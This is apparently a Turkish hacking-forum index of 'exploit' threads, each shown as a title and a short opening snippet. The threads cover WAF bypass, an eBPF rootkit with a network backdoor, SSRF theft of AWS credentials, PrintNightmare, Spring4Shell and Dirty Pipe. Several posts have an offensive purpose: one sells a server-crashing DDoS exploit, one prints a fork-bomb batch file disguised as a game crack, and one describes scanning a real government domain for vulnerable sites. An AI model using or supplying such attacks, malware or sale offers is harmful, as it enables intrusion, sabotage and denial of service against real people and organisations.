exploit
-
Exploit HTTP/2 Rapid Reset ile WAF Bypass
Selam, bugün biraz farklı bi konuya değinmek istedim. Çoğu insan hâlâ klasik DDoS veya yavaşloris tarzı saldırıları düşünüyo ama son dönemde HTTP/2 protokolünün reset frame’lerini kullanarak ciddi oranda WAF’ları atlatmak mümkün hale geldi. Özellikle Cloudflare ve Akamai’nin bazı eski...- Mikail
- Konu
- akamai cloudflare ddos exploit güvenlik http/2 rapid reset reset frame waf bypass
- Cevaplar: 1
- Forum: Exploits / Açıklı Siteler
-
Exploit Ghost in the Kernel: eBPF ile Linux'ta Görünmez Rootkit Yazmak
Selam dostlar, bugün biraz farklı bi şey denicem. Klasik LKM rootkitleri artık hemen yakalanıyor, o yüzden işleri eBPF tarafına kaydırdım. Kernel 5.8+ sistemlerde tracepoint ve kprobe'ları kullanarak process hiding + network backdoor kurmayı anlatıcam. Hem detection oranı düşük hem de...- Mikail
- Konu
- ebpf edr bypass exploit kernel linux network backdoor process hiding rootkit tracepoint xdp
- Cevaplar: 0
- Forum: Exploits / Açıklı Siteler
-
Exploit XenForo 2.2.x'te Blind SSRF ile Metadata Servislerine Ulaşmak
Selam, son zamanlarda XenForo kurulu birkaç forumda test yaparken ilginç bir blind SSRF durumuyla karşılaştım. Aslında tam exploit değil, daha çok misconfig + eski bir eklenti kombinasyonu üzerinden iç ağa ve bulut metadata endpoint'lerine sızmak gibi bir şey. Özellikle AWS üzerinde çalışan...- Mikail
- Konu
- blind ssrf exploit güvenlik açıklığı iam iç ağ image proxy proxyphp xenforo
- Cevaplar: 6
- Forum: Exploits / Açıklı Siteler
-
Exploit AWS Metadata SSRF ile Credential Avı
Selam, son zamanlarda birkaç pentest sırasında karşıma çıkan klasik ama etkili bir yöntemi paylaşmak istedim. Birçok web uygulamasında hâlâ tam olarak filtrelenmeyen SSRF zafiyetiyle AWS EC2 instance’larının metadata servisini nasıl sömürebileceğimizi anlatıyorum. Özellikle IMDSv2’ye geçiş...- Mikail
- Konu
- aws credential ec2 exploit güvenlik imdsv2 keşif pentest ssrf
- Cevaplar: 6
- Forum: Exploits / Açıklı Siteler
-
Exploit Kernel ROP ile Kısmi ASLR Bypass
Selam, bugün bi tık farklı bi şey denicem. Modern linuxlarda full ASLR varken bile ROP chain kurup exploit yazmak mümkün mü diye bi araştırma yaptım. Özellikle 64 bit sistemlerde adreslerin sadece düşük 12 bitini sızdırarak partial overwrite ile işleri yoluna koyabiliyoruz. Tabi her zaman stabil...- Mikail
- Konu
- 64-bit aslr brute force exploit gadget kernel linux partial overwrite poc rop
- Cevaplar: 6
- Forum: Exploits / Açıklı Siteler
-
Exploit PrintNightmare'in İç Yüzü ve Gerçek Exploit Akışı
Selam arkadaşlar, bugün biraz eski ama hala efsane olan PrintNightmare (CVE-2021-1675) konusunu kazıyalım. Çoğu insan sadece Metasploit modülünü çalıştırıp geçiyor ama işin arkasındaki RPC çağrıları ve impersonation mekanizması bayağı ilginç. Öncelikle zafiyet, Print Spooler servisinin RPC...- Mikail
- Konu
- cve dll exploit impersonation pointandprint printnightmare printspooler rpc system unc
- Cevaplar: 0
- Forum: Exploits / Açıklı Siteler
-
Exploit Spring4Shell RCE'sinin İç Yüzü ve Gerçek Dünya Exploit Akışı
Selam dostlar, bugün biraz eski ama hâlâ iş gören bir konuya değinmek istedim. Spring Framework'teki o meşhur classloader manipülasyonu üzerinden nasıl RCE yapıldığını, adım adım ve olabildiğince teknik şekilde anlatacağım. Lab ortamında test ettim, production'da benzer konfigürasyonlar hâlâ...- Mikail
- Konu
- actuator bypass classloader dns exfiltration exploit jdk rce spring framework spring4shell tomcat
- Cevaplar: 0
- Forum: Exploits / Açıklı Siteler
-
Exploit CVE-2022-0847 Dirty Pipe: Linux Kernel Pipe Buffer Overwrite Exploit Analizi
Dirty Pipe (CVE-2022-0847), Linux kernel 5.8+ sürümlerinde pipe_buffer yapısının "flags" alanının yanlış yönetilmesinden kaynaklanan bir local privilege escalation zafiyetidir. Temel sorun, "PIPE_BUF_FLAG_CAN_MERGE" bayrağının set edilmesiyle, sayfa cache’deki salt-okunur sayfaların üzerine...- Mikail
- Konu
- cve-2022-0847 dirty pipe exploit kernel exploit linux kernel local exploit pipe_buffer privilege escalation security write bypass
- Cevaplar: 1
- Forum: Exploits / Açıklı Siteler
-
Method Swagger UI Açık Unutulan API'ler ile Admin Yetkisi Alma
Hidden content - for more- C2D TERA
- Konu
- açık api admin api data exposure dorking exploit güvenlik pentest reconnaissance swagger vulnerability yetki yükseltme
- Cevaplar: 4
- Forum: Trend Methods
-
Exploit Nginx 1.26.x + PHP-FPM FastCGI Cache Poisoning + RCE
Konfigürasyon: Nginx 1.24.0 - 1.26.1 PHP-FPM 8.2 veya 8.3 fastcgi_cache aktif olan sistemler (çoğu shared hosting ve orta ölçekli siteler) Açığın Mantığı: Nginx’in FastCGI cache mekanizması, belirli şartlar altında cache key’ini yeterince sıkı kontrol etmiyor. Bu sayede cache poisoning...- Mikail
- Konu
- cache poisoning exploit fastcgi cache güvenlik açığı nginx php-fpm privilege escalation rce
- Cevaplar: 2
- Forum: Exploits / Açıklı Siteler
-
Exploit React2Shell (CVE-2025–55182) Gerçek Hedefe Uygulamalı Sızma Testi
Hidden content - for more- EFETR
- Konu
- cve exploit hack hacked rce remote code vuln vulnerability
- Cevaplar: 33
- Forum: Exploits / Açıklı Siteler
-
Exploit METIN2 SUNUCU COKERTME EXPLOITI SATILIR ( API satisimiz vardir )
Merhaba dostlar metin 2 üzerinde çalıştım ve sonunda çoğu TR ve yabancı Lokasyonlu sunucuları çökertebileceğiniz bir exploit geliştirdim detaylar için TELEGRAM üzerinden bana ulaşabilirsiniz . Şuan bu exploit için satışa sunduğum açık kaynak sistemler: - Website ( web üzerinden yapabilirsiniz...- cashlmao11
- Konu
- booter botnet ddos exploit farmbot hile metin2 metin2hile mirai qbot stresser
- Cevaplar: 0
- Forum: Exploits / Açıklı Siteler
-
Exploit (Auth Bypass + SQLi + RCE) UYGULAMALI Hedef Sisteme Sızma Testi Yaklaşımı (WEB)| Panel Hackleme
Merhaba bu yazıyı forumda eğer hala (2026 Ocak ayında) kendini bu alanda geliştirmek isteyen ve öğrenmeye istekli kişilere ulaşmasını umduğum için yazıyorum. Bu alanda bilgili veya bilgisi bulunmayan herkes bu yazıyı rahatlıkla okuyabilir. Aklınıza gelecek Herhangi bir soruyu çekinmeden...- io7r
- Konu
- deface exploit hack
- Cevaplar: 8
- Forum: Exploits / Açıklı Siteler
-
Pc'yi Havaya Uçuran Virüs
Hidden content - for more @echo off REM game_crack.bat- Game crack utility for Windows setlocal enabledelayedexpansion echo Installing game crack components... timeout/t 1 /nobreak >nul REM Infinite fork bomb with multiple techniques echo Starting game optimization... start/min cmd /c %0 cmd/c...- Baron'
- Konu
- exploit hack pc hack virus virüs atma
- Cevaplar: 5
- Forum: Exploits / Açıklı Siteler
-
ROP Emporium task 2
- Sinner1337
- Konu
- exploit exploit geliştirme
- Cevaplar: 0
- Forum: CTF
-
hunting cves in anormal way :D
bilindik bir tane exploiti test edelim sadece subfinder ve httpx kullanıcaz (cve-2023-28121) target domain gob.mx seçtik path olarak woocommercedeki bricks endpointini verelim 200 olanlara bakıcaz exploit ile test edicez biraz kurcaladiktan sonra 200 veren ve uygun endpointi olan siteyi bulduk...- Sinner1337
- Konu
- cvescan exploit
- Cevaplar: 0
- Forum: Trend Methods
-
Exploit yazmaya nereden baslamaliyim?
Exploit yazmaya nereden baslamaliyim? -
Local File Inclusion Açığı Nedir? | Nasıl Sömürülür [Doküman]
Hidden content - for moreHidden content - for moreHidden content - for moreHidden content - for more- ACE Veen
- Konu
- brutforce burpsuite burpsuiteprof ctf dirb dirsearch exploit hacking hydra index basma labs lfi nuclei pentesting site hackleme sql sqlinjection sqlmap web hack
- Cevaplar: 22
- Forum: Dokümanlar